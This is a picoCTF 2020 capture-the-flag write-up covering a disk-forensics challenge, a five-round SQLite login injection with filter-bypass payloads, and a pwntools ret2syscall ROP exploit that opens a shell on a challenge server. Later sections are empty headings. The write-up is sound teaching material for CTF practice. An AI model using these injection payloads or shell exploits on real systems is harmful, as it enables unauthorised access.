✅picoCTF 2020 Mini-Competition
{"author" : ["ret2basic"]}
Pitter, Patter, Platters (Autopsy)
Challenge
'Suspicious' is written all over this disk image. Download suspicious.dd.sda1
Solution
Open the .sda
file in Autopsy. Click "Keyword Search" and search for the keyword "suspicious". Here we find two files:
suspicious-file.txt
suspicious-file.txt-slack
suspicious-file.txt
says:
suspicious-file.txt Nothing to see here! But you may want to look here -->
------------------------------METADATA------------------------------
suspicious-file.txt-slack
says:
suspicious-file.txt-slack }dc7079dd_3<_|Lm_111t5_3b{FTCocip
Reverse the string and get flag:
echo '}dc7079dd_3<_|Lm_111t5_3b{FTCocip' | rev
Web Gauntlet (SQLite Injection with WAF Bypass)
Challenge
Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:44979/ http://jupiter.challenges.picoctf.org:44979/filter.php
Solution
Background Knowledge
If we enter user:password
on the login page, the backend SQL query will be something like this:
SELECT * FROM users WHERE username='user' AND password='solarwinds123';
Typically the very first payload for testing SQLi is ' or 1=1;--
, which results in the following SQL query:
SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
Here the leading '
closes the username
field and anything comes after --
is considered as comment (hence ignored). Since ''
evaluates to False
and 1=1
evaluates to True
, the entire SQL statement always evaluates to True
.
Round 1
Filter:
or
In this round, the boolean expression or
is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin
, one possible payload without using or
is admin';--
. The corresponding SQL query is:
SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
The SQL query got executed is shown in the background:

Round 2
Filter:
or
and
like
=
--
For this round, simply remove the --
from the payload for Round 1. The corresponding SQL query is:
SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
This query is still semantically correct since ;
closes the statement SELECT * FROM users WHERE username='admin'
:

Round 3
Filter:
or
and
=
like
>
<
--
The payload for Round 2 works for this round as well:

Round 4
Filter:
or
and
=
like
>
<
--
admin
Since admin
is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION
keyword in SQL allows multiple SQL statements to be executed. For example:
SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
In our case, we could construct an UNION attack as the following:
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/
(empty comment is equivalent to space):
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
This payload works:

Round 5
Filter:
or
and
=
like
>
<
--
union
admin
Since union
is filtered in this round, we should switch back to the admin';--
idea. There are two things that need to be changed:
Since
admin
is filtered, we could splitadmin
intoadm'||'in
, where||
is used for concatenating strings in SQL.Since
--
is filtered, we could replace;--
with/*
to comment out the things that we don't need.
The complete SQL query is:
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
Now go grab your flag:

Appendix: Source Code
<?php
session_start();
if (!isset($_SESSION["round"])) {
$_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($round === 1) {
$filter = array("or");
if ($view) {
echo "Round1: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 2) {
$filter = array("or", "and", "like", "=", "--");
if ($view) {
echo "Round2: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 3) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round3: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 4) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round4: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 5) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round5: ".implode(" ", $filter)."<br/>";
}
} else if ($round >= 6) {
if ($view) {
highlight_file("filter.php");
}
} else {
$_SESSION["round"] = 1;
}
// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
?>
Guessing Game 1 (ret2syscall)
Challenge
I made a simple game to show off my programming skills. See if you can beat it! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 26735
Makefile
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
The binary is statically linked, so things like ret2libc won't work.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Note that the function get_random()
does not return a random number at all since rand()
is unseeded. To confirm:
#include <stdio.h>
#include <stdlib.h>
#define BUFSIZE 100
long get_random()
{
return rand() % BUFSIZE;
}
int main(int argc, char **argv)
{
printf("%ld\n", get_random());
}
The output is 83, no matter how many times you run it.
Also, pay attention to these two lines of the source code:
long ans = get_random(); // ans = 83
ans = increment(ans); // ans = 84
The correct answer to the question "What number would you like to guess?" should be 84.
Solution
Since the binary does not contain the string "/bin/sh\x00"
, we have to construct a 2-stage exploit:
Stage 1: Build a ROP chain for writing the string
"/bin/sh\x00"
to a writable memory location. A common choice is the.bss
section. The address of.bss
can be found using Pwntoolself.bss()
method.Stage 2: Do normal ret2syscall to execute
execve("/bin/sh\x00", 0, 0)
.
Exploit
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)
local = False
if local:
r = elf.process()
else:
host = 'jupiter.challenges.picoctf.org'
port = 26735
r = remote(host, port)
#--------ret2syscall--------#
offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c
payload = flat(
b"A" * offset,
# Write the string "/bin/sh\x00" to .bss section
pop_rdx, "/bin/sh\x00",
pop_rax, bin_sh_address,
write_gadget,
# Call execve("/bin/sh\x00", 0, 0)
pop_rax, 0x3b,
pop_rdi, bin_sh_address,
pop_rsi, 0,
pop_rdx, 0,
syscall,
)
r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()
Guessing Game 2
Solved by ret2basic
Challenge
It's the Return of your favorite game! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 57529
Makefile
all:
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
clean:
rm vuln
The binary is dynamically linked this time, which makes ret2libc possible.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Solution
Exploit
OPT Implementation
Challenge
Yay reversing! Relevant files: otp flag.txt
Solution
Implementation
Last updated